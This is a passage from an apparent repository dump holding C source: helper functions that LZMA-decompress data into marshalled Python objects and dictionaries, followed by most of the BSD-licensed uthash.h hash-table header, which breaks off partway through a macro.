}\n#else\n    uncompressed = data + sizeof(unsigned int);\n#endif\n\n    if (puncompressed_size) {\n        *puncompressed_size = uncompressed_size;\n    }\n\n    return uncompressed;\n}\n\nstatic PyObject *PyObject_lzmaunpack(const char *data, size_t size) {\n    PyObject * object;\n    Py_ssize_t uncompressed_size = 0;\n\n    void *uncompressed = lzmaunpack(data, size, &uncompressed_size);\n    if (!uncompressed) {\n        PyErr_SetString(PyExc_Exception, \"LZMA error\");\n        return NULL;\n    }\n\n    dprint(\"PyMarshal_ReadObjectFromString(%p, %d [sizeof=%d])\\n\",\n        uncompressed, (int) uncompressed_size, sizeof(uncompressed_size));\n\n    object = PyMarshal_ReadObjectFromString(\n        uncompressed, uncompressed_size);\n\n    lzmafree(uncompressed, uncompressed_size);\n    return object;\n}\n\nstatic PyObject *PyDict_lzmaunpack(const char *data, size_t size) {\n    PyObject * object = NULL;\n\n    unsigned int keys;\n    unsigned int ksize, vsize, i;\n\n    size_t offset;\n\n    PyObject *k = NULL;\n    PyObject *v = NULL;\n\n    Py_ssize_t uncompressed_size = 0;\n    void *uncompressed = lzmaunpack(data, size, &uncompressed_size);\n    if (!uncompressed) {\n        return NULL;\n    }\n\n    object = PyDict_New();\n    if (!object) {\n        goto lbExit;\n    }\n\n    keys = charToUInt(uncompressed);\n\n    for (i=0, offset=4; i<keys; i++) {\n        ksize = charToUInt((char *) uncompressed + offset + 0);\n        vsize = charToUInt((char *) uncompressed + offset + 4);\n\n        offset += 8;\n\n        k = PyUnicode_FromStringAndSize((char *) uncompressed + offset, ksize);\n        offset += ksize;\n\n        v = PyBytes_FromStringAndSize((char *) uncompressed + offset, vsize);\n        offset += vsize;\n\n        if (!k || !v) {\n            Py_XDECREF(k);\n            Py_XDECREF(v);\n            Py_XDECREF(object);\n            object = NULL;\n            goto lbExit;\n        }\n\n        PyDict_SetItem(object, k, v);\n        Py_DECREF(k);\n        Py_DECREF(v);\n    }\n\n lbExit:\n    lzmafree(uncompressed, uncompressed_size);\n    return object;\n}\n"
  },
  {
    "path": "client/common/uthash.h",
    "content": "/*\nCopyright (c) 2003-2018, Troy D. Hanson     http://troydhanson.github.com/uthash/\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\nIS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\nTO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\nPARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER\nOR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\nEXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\nPROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\nPROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\nLIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\nNEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n\n#ifndef UTHASH_H\n#define UTHASH_H\n\n#define UTHASH_VERSION 2.1.0\n\n#include <string.h>   /* memcmp, memset, strlen */\n#include <stddef.h>   /* ptrdiff_t */\n#include <stdlib.h>   /* exit */\n\n/* These macros use decltype or the earlier __typeof GNU extension.\n   As decltype is only available in newer compilers (VS2010 or gcc 4.3+\n   when compiling c++ source) this code uses whatever method is needed\n   or, for VS2008 where neither is available, uses casting workarounds. */\n#if !defined(DECLTYPE) && !defined(NO_DECLTYPE)\n#if defined(_MSC_VER)   /* MS compiler */\n#if _MSC_VER >= 1600 && defined(__cplusplus)  /* VS2010 or newer in C++ mode */\n#define DECLTYPE(x) (decltype(x))\n#else                   /* VS2008 or older (or VS2010 in C mode) */\n#define NO_DECLTYPE\n#endif\n#elif defined(__BORLANDC__) || defined(__ICCARM__) || defined(__LCC__) || defined(__WATCOMC__)\n#define NO_DECLTYPE\n#else                   /* GNU, Sun and other compilers */\n#define DECLTYPE(x) (__typeof(x))\n#endif\n#endif\n\n#ifdef NO_DECLTYPE\n#define DECLTYPE(x)\n#define DECLTYPE_ASSIGN(dst,src)                                                 \\\ndo {                                                                             \\\n  char **_da_dst = (char**)(&(dst));                                             \\\n  *_da_dst = (char*)(src);                                                       \\\n} while (0)\n#else\n#define DECLTYPE_ASSIGN(dst,src)                                                 \\\ndo {                                                                             \\\n  (dst) = DECLTYPE(dst)(src);                                                    \\\n} while (0)\n#endif\n\n/* a number of the hash function use uint32_t which isn't defined on Pre VS2010 */\n#if defined(_WIN32)\n#if defined(_MSC_VER) && _MSC_VER >= 1600\n#include <stdint.h>\n#elif defined(__WATCOMC__) || defined(__MINGW32__) || defined(__CYGWIN__)\n#include <stdint.h>\n#else\ntypedef unsigned int uint32_t;\ntypedef unsigned char uint8_t;\n#endif\n#elif defined(__GNUC__) && !defined(__VXWORKS__)\n#include <stdint.h>\n#else\ntypedef unsigned int uint32_t;\ntypedef unsigned char uint8_t;\n#endif\n\n#ifndef uthash_malloc\n#define uthash_malloc(sz) malloc(sz)      /* malloc fcn                      */\n#endif\n#ifndef uthash_free\n#define uthash_free(ptr,sz) free(ptr)     /* free fcn                        */\n#endif\n#ifndef uthash_bzero\n#define uthash_bzero(a,n) memset(a,'\\0',n)\n#endif\n#ifndef uthash_strlen\n#define uthash_strlen(s) strlen(s)\n#endif\n\n#ifdef uthash_memcmp\n/* This warning will not catch programs that define uthash_memcmp AFTER including uthash.h. */\n#warning \"uthash_memcmp is deprecated; please use HASH_KEYCMP instead\"\n#else\n#define uthash_memcmp(a,b,n) memcmp(a,b,n)\n#endif\n\n#ifndef HASH_KEYCMP\n#define HASH_KEYCMP(a,b,n) uthash_memcmp(a,b,n)\n#endif\n\n#ifndef uthash_noexpand_fyi\n#define uthash_noexpand_fyi(tbl)          /* can be defined to log noexpand  */\n#endif\n#ifndef uthash_expand_fyi\n#define uthash_expand_fyi(tbl)            /* can be defined to log expands   */\n#endif\n\n#ifndef HASH_NONFATAL_OOM\n#define HASH_NONFATAL_OOM 0\n#endif\n\n#if HASH_NONFATAL_OOM\n/* malloc failures can be recovered from */\n\n#ifndef uthash_nonfatal_oom\n#define uthash_nonfatal_oom(obj) do {} while (0)    /* non-fatal OOM error */\n#endif\n\n#define HASH_RECORD_OOM(oomed) do { (oomed) = 1; } while (0)\n#define IF_HASH_NONFATAL_OOM(x) x\n\n#else\n/* malloc failures result in lost memory, hash tables are unusable */\n\n#ifndef uthash_fatal\n#define uthash_fatal(msg) exit(-1)        /* fatal OOM error */\n#endif\n\n#define HASH_RECORD_OOM(oomed) uthash_fatal(\"out of memory\")\n#define IF_HASH_NONFATAL_OOM(x)\n\n#endif\n\n/* initial number of buckets */\n#define HASH_INITIAL_NUM_BUCKETS 32U     /* initial number of buckets        */\n#define HASH_INITIAL_NUM_BUCKETS_LOG2 5U /* lg2 of initial number of buckets */\n#define HASH_BKT_CAPACITY_THRESH 10U     /* expand when bucket count reaches */\n\n/* calculate the element whose hash handle address is hhp */\n#define ELMT_FROM_HH(tbl,hhp) ((void*)(((char*)(hhp)) - ((tbl)->hho)))\n/* calculate the hash handle from element address elp */\n#define HH_FROM_ELMT(tbl,elp) ((UT_hash_handle *)(((char*)(elp)) + ((tbl)->hho)))\n\n#define HASH_ROLLBACK_BKT(hh, head, itemptrhh)                                   \\\ndo {                                                                             \\\n  struct UT_hash_handle *_hd_hh_item = (itemptrhh);                              \\\n  unsigned _hd_bkt;                                                              \\\n  HASH_TO_BKT(_hd_hh_item->hashv, (head)->hh.tbl->num_buckets, _hd_bkt);         \\\n  (head)->hh.tbl->buckets[_hd_bkt].count++;                                      \\\n  _hd_hh_item->hh_next = NULL;                                                   \\\n  _hd_hh_item->hh_prev = NULL;                                                   \\\n} while (0)\n\n#define HASH_VALUE(keyptr,keylen,hashv)                                          \\\ndo {                                                                             \\\n  HASH_FCN(keyptr, keylen, hashv);                                               \\\n} while (0)\n\n#define HASH_FIND_BYHASHVALUE(hh,head,keyptr,keylen,hashval,out)                 \\\ndo {                                                                             \\\n  (out) = NULL;                                                                  \\\n  if (head) {                                                                    \\\n    unsigned _hf_bkt;                                                            \\\n    HASH_TO_BKT(hashval, (head)->hh.tbl->num_buckets, _hf_bkt);                  \\\n    if (HASH_BLOOM_TEST((head)->hh.tbl, hashval) != 0) {                         \\\n      HASH_FIND_IN_BKT((head)->hh.tbl, hh, (head)->hh.tbl->buckets[ _hf_bkt ], keyptr, keylen, hashval, out); \\\n    }                                                                            \\\n  }                                                                              \\\n} while (0)\n\n#define HASH_FIND(hh,head,keyptr,keylen,out)                                     \\\ndo {                                                                             \\\n  (out) = NULL;                                                                  \\\n  if (head) {                                                                    \\\n    unsigned _hf_hashv;                                                          \\\n    HASH_VALUE(keyptr, keylen, _hf_hashv);                                       \\\n    HASH_FIND_BYHASHVALUE(hh, head, keyptr, keylen, _hf_hashv, out);             \\\n  }                                                                              \\\n} while (0)\n\n#ifdef HASH_BLOOM\n#define HASH_BLOOM_BITLEN (1UL << HASH_BLOOM)\n#define HASH_BLOOM_BYTELEN (HASH_BLOOM_BITLEN/8UL) + (((HASH_BLOOM_BITLEN%8UL)!=0UL) ? 1UL : 0UL)\n#define HASH_BLOOM_MAKE(tbl,oomed)                                               \\\ndo {                                                                             \\\n  (tbl)->bloom_nbits = HASH_BLOOM;                                               \\\n  (tbl)->bloom_bv = (uint8_t*)uthash_malloc(HASH_BLOOM_BYTELEN);                 \\\n  if (!(tbl)->bloom_bv) {                                                        \\\n    HASH_RECORD_OOM(oomed);                                                      \\\n  } else {                                                                       \\\n    uthash_bzero((tbl)->bloom_bv, HASH_BLOOM_BYTELEN);                           \\\n    (tbl)->bloom_sig = HASH_BLOOM_SIGNATURE;                                     \\\n  }                                                                              \\\n} while (0)\n\n#define HASH_BLOOM_FREE(tbl)                                                     \\\ndo {                                                                             \\\n  uthash_free((tbl)->bloom_bv, HASH_BLOOM_BYTELEN);                              \\\n} while (0)\n\n#define HASH_BLOOM_BITSET(bv,idx) (bv[(idx)/8U] |= (1U << ((idx)%8U)))\n#define HASH_BLOOM_BITTEST(bv,idx) (bv[(idx)/8U] & (1U << ((idx)%8U)))\n\n#define HASH_BLOOM_ADD(tbl,hashv)                                                \\\n  HASH_BLOOM_BITSET((tbl)->bloom_bv, ((hashv) & (uint32_t)((1UL << (tbl)->bloom_nbits) - 1U)))\n\n#define HASH_BLOOM_TEST(tbl,hashv)                                               \\\n  HASH_BLOOM_BITTEST((tbl)->bloom_bv, ((hashv) & (uint32_t)((1UL << (tbl)->bloom_nbits) - 1U)))\n\n#else\n#define HASH_BLOOM_MAKE(tbl,oomed)\n#define HASH_BLOOM_FREE(tbl)\n#define HASH_BLOOM_ADD(tbl,hashv)\n#define HASH_BLOOM_TEST(tbl,hashv) (1)\n#define HASH_BLOOM_BYTELEN 0U\n#endif\n\n#define HASH_MAKE_TABLE(hh,head,oomed)                                           \\\ndo {                                                                             \\\n  (head)->hh.tbl = (UT_hash_table*)uthash_malloc(sizeof(UT_hash_table));         \\\n  if (!(head)->hh.tbl) {                                                         \\\n    HASH_RECORD_OOM(oomed);                                                      \\\n  } else {                                                                       \\\n    uthash_bzero((head)->hh.tbl, sizeof(UT_hash_table));                         \\\n    (head)->hh.tbl->tail = &((head)->hh);                                        \\\n    (head)->hh.tbl->num_buckets = HASH_INITIAL_NUM_BUCKETS;                      \\\n    (head)->hh.tbl->log2_num_buckets = HASH_INITIAL_NUM_BUCKETS_LOG2;            \\\n    (head)->hh.tbl->hho = (char*)(&(head)->hh) - (char*)(head);                  \\\n    (head)->hh.tbl->buckets = (UT_hash_bucket*)uthash_malloc(                    \\\n        HASH_INITIAL_NUM_BUCKETS * sizeof(struct UT_hash_bucket));               \\\n    (head)->hh.tbl->signature = HASH_SIGNATURE;                                  \\\n    if (!(head)->hh.tbl->buckets) {                                              \\\n      HASH_RECORD_OOM(oomed);                                                    \\\n      uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                        \\\n    } else {                                                                     \\\n      uthash_bzero((head)->hh.tbl->buckets,                                      \\\n          HASH_INITIAL_NUM_BUCKETS * sizeof(struct UT_hash_bucket));             \\\n      HASH_BLOOM_MAKE((head)->hh.tbl, oomed);                                    \\\n      IF_HASH_NONFATAL_OOM(                                                      \\\n        if (oomed) {                                                             \\\n          uthash_free((head)->hh.tbl->buckets,                                   \\\n              HASH_INITIAL_NUM_BUCKETS*sizeof(struct UT_hash_bucket));           \\\n          uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                    \\\n        }                                                                        \\\n      )                                                                          \\\n    }                                                                            \\\n  }                                                                              \\\n} while (0)\n\n#define HASH_REPLACE_BYHASHVALUE_INORDER(hh,head,fieldname,keylen_in,hashval,add,replaced,cmpfcn) \\\ndo {                                                                             \\\n  (replaced) = NULL;                                                             \\\n  HASH_FIND_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, replaced); \\\n  if (replaced) {                                                                \\\n    HASH_DELETE(hh, head, replaced);                                             \\\n  }                                                                              \\\n  HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh, head, &((add)->fieldname), keylen_in, hashval, add, cmpfcn); \\\n} while (0)\n\n#define HASH_REPLACE_BYHASHVALUE(hh,head,fieldname,keylen_in,hashval,add,replaced) \\\ndo {                                                                             \\\n  (replaced) = NULL;                                                             \\\n  HASH_FIND_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, replaced); \\\n  if (replaced) {                                                                \\\n    HASH_DELETE(hh, head, replaced);                                             \\\n  }                                                                              \\\n  HASH_ADD_KEYPTR_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, add); \\\n} while (0)\n\n#define HASH_REPLACE(hh,head,fieldname,keylen_in,add,replaced)                   \\\ndo {                                                                             \\\n  unsigned _hr_hashv;                                                            \\\n  HASH_VALUE(&((add)->fieldname), keylen_in, _hr_hashv);                         \\\n  HASH_REPLACE_BYHASHVALUE(hh, head, fieldname, keylen_in, _hr_hashv, add, replaced); \\\n} while (0)\n\n#define HASH_REPLACE_INORDER(hh,head,fieldname,keylen_in,add,replaced,cmpfcn)    \\\ndo {                                                                             \\\n  unsigned _hr_hashv;                                                            \\\n  HASH_VALUE(&((add)->fieldname), keylen_in, _hr_hashv);                         \\\n  HASH_REPLACE_BYHASHVALUE_INORDER(hh, head, fieldname, keylen_in, _hr_hashv, add, replaced, cmpfcn); \\\n} while (0)\n\n#define HASH_APPEND_LIST(hh, head, add)                                          \\\ndo {                                                                             \\\n  (add)->hh.next = NULL;                                                         \\\n  (add)->hh.prev = ELMT_FROM_HH((head)->hh.tbl, (head)->hh.tbl->tail);           \\\n  (head)->hh.tbl->tail->next = (add);                                            \\\n  (head)->hh.tbl->tail = &((add)->hh);                                           \\\n} while (0)\n\n#define HASH_AKBI_INNER_LOOP(hh,head,add,cmpfcn)                                 \\\ndo {                                                                             \\\n  do {                                                                           \\\n    if (cmpfcn(DECLTYPE(head)(_hs_iter), add) > 0) {                             \\\n      break;                                                                     \\\n    }                                                                            \\\n  } while ((_hs_iter = HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->next));           \\\n} while (0)\n\n#ifdef NO_DECLTYPE\n#undef HASH_AKBI_INNER_LOOP\n#define HASH_AKBI_INNER_LOOP(hh,head,add,cmpfcn)                                 \\\ndo {                                                                             \\\n  char *_hs_saved_head = (char*)(head);                                          \\\n  do {                                                                           \\\n    DECLTYPE_ASSIGN(head, _hs_iter);                                             \\\n    if (cmpfcn(head, add) > 0) {                                                 \\\n      DECLTYPE_ASSIGN(head, _hs_saved_head);                                     \\\n      break;                                                                     \\\n    }                                                                            \\\n    DECLTYPE_ASSIGN(head, _hs_saved_head);                                       \\\n  } while ((_hs_iter = HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->next));           \\\n} while (0)\n#endif\n\n#if HASH_NONFATAL_OOM\n\n#define HASH_ADD_TO_TABLE(hh,head,keyptr,keylen_in,hashval,add,oomed)            \\\ndo {                                                                             \\\n  if (!(oomed)) {                                                                \\\n    unsigned _ha_bkt;                                                            \\\n    (head)->hh.tbl->num_items++;                                                 \\\n    HASH_TO_BKT(hashval, (head)->hh.tbl->num_buckets, _ha_bkt);                  \\\n    HASH_ADD_TO_BKT((head)->hh.tbl->buckets[_ha_bkt], hh, &(add)->hh, oomed);    \\\n    if (oomed) {                                                                 \\\n      HASH_ROLLBACK_BKT(hh, head, &(add)->hh);                                   \\\n      HASH_DELETE_HH(hh, head, &(add)->hh);                                      \\\n      (add)->hh.tbl = NULL;                                                      \\\n      uthash_nonfatal_oom(add);                                                  \\\n    } else {                                                                     \\\n      HASH_BLOOM_ADD((head)->hh.tbl, hashval);                                   \\\n      HASH_EMIT_KEY(hh, head, keyptr, keylen_in);                                \\\n    }                                                                            \\\n  } else {                                                                       \\\n    (add)->hh.tbl = NULL;                                                        \\\n    uthash_nonfatal_oom(add);                                                    \\\n  }                                                                              \\\n} while (0)\n\n#else\n\n#define HASH_ADD_TO_TABLE(hh,head,keyptr,keylen_in,hashval,add,oomed)            \\\ndo {                                                                             \\\n  unsigned _ha_bkt;                                                              \\\n  (head)->hh.tbl->num_items++;                                                   \\\n  HASH_TO_BKT(hashval, (head)->hh.tbl->num_buckets, _ha_bkt);                    \\\n  HASH_ADD_TO_BKT((head)->hh.tbl->buckets[_ha_bkt], hh, &(add)->hh, oomed);      \\\n  HASH_BLOOM_ADD((head)->hh.tbl, hashval);                                       \\\n  HASH_EMIT_KEY(hh, head, keyptr, keylen_in);                                    \\\n} while (0)\n\n#endif\n\n\n#define HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh,head,keyptr,keylen_in,hashval,add,cmpfcn) \\\ndo {                                                                             \\\n  IF_HASH_NONFATAL_OOM( int _ha_oomed = 0; )                                     \\\n  (add)->hh.hashv = (hashval);                                                   \\\n  (add)->hh.key = (char*) (keyptr);                                              \\\n  (add)->hh.keylen = (unsigned) (keylen_in);                                     \\\n  if (!(head)) {                                                                 \\\n    (add)->hh.next = NULL;                                                       \\\n    (add)->hh.prev = NULL;                                                       \\\n    HASH_MAKE_TABLE(hh, add, _ha_oomed);                                         \\\n    IF_HASH_NONFATAL_OOM( if (!_ha_oomed) { )                                    \\\n      (head) = (add);                                                            \\\n    IF_HASH_NONFATAL_OOM( } )                                                    \\\n  } else {                                                                       \\\n    void *_hs_iter = (head);                                                     \\\n    (add)->hh.tbl = (head)->hh.tbl;                                              \\\n    HASH_AKBI_INNER_LOOP(hh, head, add, cmpfcn);                                 \\\n    if (_hs_iter) {                                                              \\\n      (add)->hh.next = _hs_iter;                                                 \\\n      if (((add)->hh.prev = HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->prev)) {     \\\n        HH_FROM_ELMT((head)->hh.tbl, (add)->hh.prev)->next = (add);              \\\n      } else {                                                                   \\\n        (head) = (add);                                                          \\\n      }                                                                          \\\n      HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->prev = (add);                      \\\n    } else {                                                                     \\\n      HASH_APPEND_LIST(hh, head, add);                                           \\\n    }                                                                            \\\n  }                                                                              \\\n  HASH_ADD_TO_TABLE(hh, head, keyptr, keylen_in, hashval, add, _ha_oomed);       \\\n  HASH_FSCK(hh, head, \"HASH_ADD_KEYPTR_BYHASHVALUE_INORDER\");                    \\\n} while (0)\n\n#define HASH_ADD_KEYPTR_INORDER(hh,head,keyptr,keylen_in,add,cmpfcn)             \\\ndo {                                                                             \\\n  unsigned _hs_hashv;                                                            \\\n  HASH_VALUE(keyptr, keylen_in, _hs_hashv);                                      \\\n  HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh, head, keyptr, keylen_in, _hs_hashv, add, cmpfcn); \\\n} while (0)\n\n#define HASH_ADD_BYHASHVALUE_INORDER(hh,head,fieldname,keylen_in,hashval,add,cmpfcn) \\\n  HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh, head, &((add)->fieldname), keylen_in, hashval, add, cmpfcn)\n\n#define HASH_ADD_INORDER(hh,head,fieldname,keylen_in,add,cmpfcn)                 \\\n  HASH_ADD_KEYPTR_INORDER(hh, head, &((add)->fieldname), keylen_in, add, cmpfcn)\n\n#define HASH_ADD_KEYPTR_BYHASHVALUE(hh,head,keyptr,keylen_in,hashval,add)        \\\ndo {                                                                             \\\n  IF_HASH_NONFATAL_OOM( int _ha_oomed = 0; )                                     \\\n  (add)->hh.hashv = (hashval);                                                   \\\n  (add)->hh.key = (char*) (keyptr);                                              \\\n  (add)->hh.keylen = (unsigned) (keylen_in);                                     \\\n  if (!(head)) {                                                                 \\\n    (add)->hh.next = NULL;                                                       \\\n    (add)->hh.prev = NULL;                                                       \\\n    HASH_MAKE_TABLE(hh, add, _ha_oomed);                                         \\\n    IF_HASH_NONFATAL_OOM( if (!_ha_oomed) { )                                    \\\n      (head) = (add);                                                            \\\n    IF_HASH_NONFATAL_OOM( } )                                                    \\\n  } else {                                                                       \\\n    (add)->hh.tbl = (head)->hh.tbl;                                              \\\n    HASH_APPEND_LIST(hh, head, add);                                             \\\n  }                                                                              \\\n  HASH_ADD_TO_TABLE(hh, head, keyptr, keylen_in, hashval, add, _ha_oomed);       \\\n  HASH_FSCK(hh, head, \"HASH_ADD_KEYPTR_BYHASHVALUE\");                            \\\n} while (0)\n\n#define HASH_ADD_KEYPTR(hh,head,keyptr,keylen_in,add)                            \\\ndo {                                                                             \\\n  unsigned _ha_hashv;                                                            \\\n  HASH_VALUE(keyptr, keylen_in, _ha_hashv);                                      \\\n  HASH_ADD_KEYPTR_BYHASHVALUE(hh, head, keyptr, keylen_in, _ha_hashv, add);      \\\n} while (0)\n\n#define HASH_ADD_BYHASHVALUE(hh,head,fieldname,keylen_in,hashval,add)            \\\n  HASH_ADD_KEYPTR_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, add)\n\n#define HASH_ADD(hh,head,fieldname,keylen_in,add)                                \\\n  HASH_ADD_KEYPTR(hh, head, &((add)->fieldname), keylen_in, add)\n\n#define HASH_TO_BKT(hashv,num_bkts,bkt)                                          \\\ndo {                                                                             \\\n  bkt = ((hashv) & ((num_bkts) - 1U));                                           \\\n} while (0)\n\n/* delete \"delptr\" from the hash table.\n * \"the usual\" patch-up process for the app-order doubly-linked-list.\n * The use of _hd_hh_del below deserves special explanation.\n * These used to be expressed using (delptr) but that led to a bug\n * if someone used the same symbol for the head and deletee, like\n *  HASH_DELETE(hh,users,users);\n * We want that to work, but by changing the head (users) below\n * we were forfeiting our ability to further refer to the deletee (users)\n * in the patch-up process. Solution: use scratch space to\n * copy the deletee pointer, then the latter references are via that\n * scratch pointer rather than through the repointed (users) symbol.\n */\n#define HASH_DELETE(hh,head,delptr)                                              \\\n    HASH_DELETE_HH(hh, head, &(delptr)->hh)\n\n#define HASH_DELETE_HH(hh,head,delptrhh)                                         \\\ndo {                                                                             \\\n  struct UT_hash_handle *_hd_hh_del = (delptrhh);                                \\\n  if ((_hd_hh_del->prev == NULL) && (_hd_hh_del->next == NULL)) {                \\\n    HASH_BLOOM_FREE((head)->hh.tbl);                                             \\\n    uthash_free((head)->hh.tbl->buckets,                                         \\\n                (head)->hh.tbl->num_buckets * sizeof(struct UT_hash_bucket));    \\\n    uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                          \\\n    (head) = NULL;                                                               \\\n  } else {                                                                       \\\n    unsigned _hd_bkt;                                                            \\\n    if (_hd_hh_del == (head)->hh.tbl->tail) {                                    \\\n      (head)->hh.tbl->tail = HH_FROM_ELMT((head)->hh.tbl, _hd_hh_del->prev);     \\\n    }                                                                            \\\n    if (_hd_hh_del->prev != NULL) {                                              \\\n      HH_FROM_ELMT((head)->hh.tbl, _hd_hh_del->prev)->next = _hd_hh_del->next;   \\\n    } else {                                                                     \\\n      DECLTYPE_ASSIGN(head, _hd_hh_del->next);                                   \\\n    }                                                                            \\\n    if (_hd_hh_del->next != NULL) {                                              \\\n      HH_FROM_ELMT((head)->hh.tbl, _hd_hh_del->next)->prev = _hd_hh_del->prev;   \\\n    }                                                                            \\\n    HASH_TO_BKT(_hd_hh_del->hashv, (head)->hh.tbl->num_buckets, _hd_bkt);        \\\n    HASH_DEL_IN_BKT((head)->hh.tbl->buckets[_hd_bkt], _hd_hh_del);               \\\n    (head)->hh.tbl->num_items--;                                                 \\\n  }                                                                              \\\n  HASH_FSCK(hh, head, \"HASH_DELETE_HH\");                                         \\\n} while (0)\n\n/* convenience forms of HASH_FIND/HASH_ADD/HASH_DEL */\n#define HASH_FIND_STR(head,findstr,out)                                          \\\ndo {                                                                             \\\n    unsigned _uthash_hfstr_keylen = (unsigned)uthash_strlen(findstr);            \\\n    HASH_FIND(hh, head, findstr, _uthash_hfstr_keylen, out);                     \\\n} while (0)\n#define HASH_ADD_STR(head,strfield,add)                                          \\\ndo {                                                                             \\\n    unsigned _uthash_hastr_keylen = (unsigned)uthash_strlen((add)->strfield);    \\\n    HASH_ADD(hh, head, strfield[0], _uthash_hastr_keylen, add);                  \\\n} while (0)\n#define HASH_REPLACE_STR(head,strfield,add,replaced)                             \\\ndo {                                                                             \\\n    unsigned _uthash_hrstr_keylen = (unsigned)uthash_strlen((add)->strfield);    \\\n    HASH_REPLACE(hh, head, strfield[0], _uthash_hrstr_keylen, add, replaced);    \\\n} while (0)\n#define HASH_FIND_INT(head,findint,out)                                          \\\n    HASH_FIND(hh,head,findint,sizeof(int),out)\n#define HASH_ADD_INT(head,intfield,add)                                          \\\n    HASH_ADD(hh,head,intfield,sizeof(int),add)\n#define HASH_REPLACE_INT(head,intfield,add,replaced)                             \\\n    HASH_REPLACE(hh,head,intfield,sizeof(int),add,replaced)\n#define HASH_FIND_PTR(head,findptr,out)                                          \\\n    HASH_FIND(hh,head,findptr,sizeof(void *),out)\n#define HASH_ADD_PTR(head,ptrfield,add)                                          \\\n    HASH_ADD(hh,head,ptrfield,sizeof(void *),add)\n#define HASH_REPLACE_PTR(head,ptrfield,add,replaced)                             \\\n    HASH_REPLACE(hh,head,ptrfield,sizeof(void *),add,replaced)\n#define HASH_DEL(head,delptr)                                                    \\\n    HASH_DELETE(hh,head,delptr)\n\n/* HASH_FSCK checks hash integrity on every add/delete when HASH_DEBUG is defined.\n * This is for uthash developer only; it compiles away if HASH_DEBUG isn't defined.\n */\n#ifdef HASH_DEBUG\n#define HASH_OOPS(...) do { fprintf(stderr,__VA_ARGS__); exit(-1); } while (0)\n#define HASH_FSCK(hh,head,where)                                                 \\\ndo {                                                                             \\\n  struct UT_hash_handle *_thh;                                                   \\\n  if (head) {                                                                    \\\n    unsigned _bkt_i;                                                             \\\n    unsigned _count = 0;                                                         \\\n    char *_prev;                                                                 \\\n    for (_bkt_i = 0; _bkt_i < (head)->hh.tbl->num_buckets; ++_bkt_i) {           \\\n      unsigned _bkt_count = 0;                                                   \\\n      _thh = (head)->hh.tbl->buckets[_bkt_i].hh_head;                            \\\n      _prev = NULL;                                                              \\\n      while (_thh) {                                                             \\\n        if (_prev != (char*)(_thh->hh_prev)) {                                   \\\n          HASH_OOPS(\"%s: invalid hh_prev %p, actual %p\\n\",                       \\\n              (where), (void*)_thh->hh_prev, (void*)_prev);                      \\\n        }                                                                        \\\n        _bkt_count++;                                                            \\\n        _prev = (char*)(_thh);                                                   \\\n        _thh = _thh->hh_next;                                                    \\\n      }                                                                          \\\n      _count += _bkt_count;                                                      \\\n      if ((head)->hh.tbl->buckets[_bkt_i].count !=  _bkt_count) {                \\\n        HASH_OOPS(\"%s: invalid bucket count %u, actual %u\\n\",                    \\\n            (where), (head)->hh.tbl->buckets[_bkt_i].count, _bkt_count);         \\\n      }                                                                          \\\n    }                                                                            \\\n    if (_count != (head)->hh.tbl->num_items) {                                   \\\n      HASH_OOPS(\"%s: invalid hh item count %u, actual %u\\n\",                     \\\n          (where), (head)->hh.tbl->num_items, _count);                           \\\n    }                                                                            \\\n    _count = 0;                                                                  \\\n    _prev = NULL;                                                                \\\n    _thh =  &(head)->hh;                                                         \\\n    while (_thh) {                                                               \\\n      _count++;                                                                  \\\n      if (_prev != (char*)_thh->prev) {                                          \\\n        HASH_OOPS(\"%s: invalid prev %p, actual %p\\n\",                            \\\n            (where), (void*)_thh->prev, (void*)_prev);                           \\\n      }                                                                          \\\n      _prev = (char*)ELMT_FROM_HH((head)->hh.tbl, _thh);                         \\\n      _thh = (_thh->next ? HH_FROM_ELMT((head)->hh.tbl, _thh->next) : NULL);     \\\n    }                                                                            \\\n    if (_count != (head)->hh.tbl->num_items) {                                   \\\n      HASH_OOPS(\"%s: invalid app item count %u, actual %u\\n\",                    \\\n          (where), (head)->hh.tbl->num_items, _count);                           \\\n    }                                                                            \\\n  }                                                                              \\\n} while (0)\n#else\n#define HASH_FSCK(hh,head,where)\n#endif\n\n/* When compiled with -DHASH_EMIT_KEYS, length-prefixed keys are emitted to\n * the descriptor to which this macro is defined for tuning the hash function.\n * The app can #include <unistd.h> to get the prototype for write(2). */\n#ifdef HASH_EMIT_KEYS\n#define HASH_EMIT_KEY(hh,head,keyptr,fieldlen)                                   \\\ndo {                                                                             \\\n  unsigned _klen = fieldlen;                                                     \\\n  write(HASH_EMIT_KEYS, &_klen, sizeof(_klen));                                  \\\n  write(HASH_EMIT_KEYS, keyptr, (unsigned 